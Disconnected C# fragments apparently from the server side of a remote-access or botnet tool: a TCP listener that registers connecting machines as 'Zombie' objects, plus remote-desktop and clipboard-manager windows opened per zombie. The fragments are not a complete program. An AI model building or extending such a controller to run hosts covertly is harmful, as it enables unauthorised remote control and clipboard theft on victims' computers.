// Listens to incoming client connections and spawns a new client "Zombie" object // when a pending connection is detected. public void Listen() { try { listener.Start(); while (isListening) { if (listener.Pending()) { TcpClient client = listener.AcceptTcpClient(); Log("Accepted Client Connection"); Zombie zombie = new Zombie(mainForm, client); zombies.Add(zombie); Thread zombieThread = new Thread(new ThreadStart(zombie.ListenForData)); zombieThread.IsBackground = true; zombieThread.Start(); mainForm.UpdateStatus(); } // Need to test this sleep, see if it messes up communication. // Using this due to high CPU usage on server. Thread.Sleep(100); } }catch(Exception ex) { Log("Listener error: " + ex.ToString()); } }
public ZombieListItem(Zombie z) : base() { zombie = z; }
private void openRDP(Zombie z) { RemoteDesktop remoteDesktop = new RemoteDesktop(z); remoteDesktop.Show(); }
public RemoteDesktop(Zombie zombie) { InitializeComponent(); this.zombie = zombie; this.Text = zombie.IP + " - " + zombie.computerName + " - Remote Desktop"; }
public Clipboard(Zombie zombie) { InitializeComponent(); this.zombie = zombie; this.Text = zombie.IP + " - " + zombie.computerName + " - Clipboard Manager"; }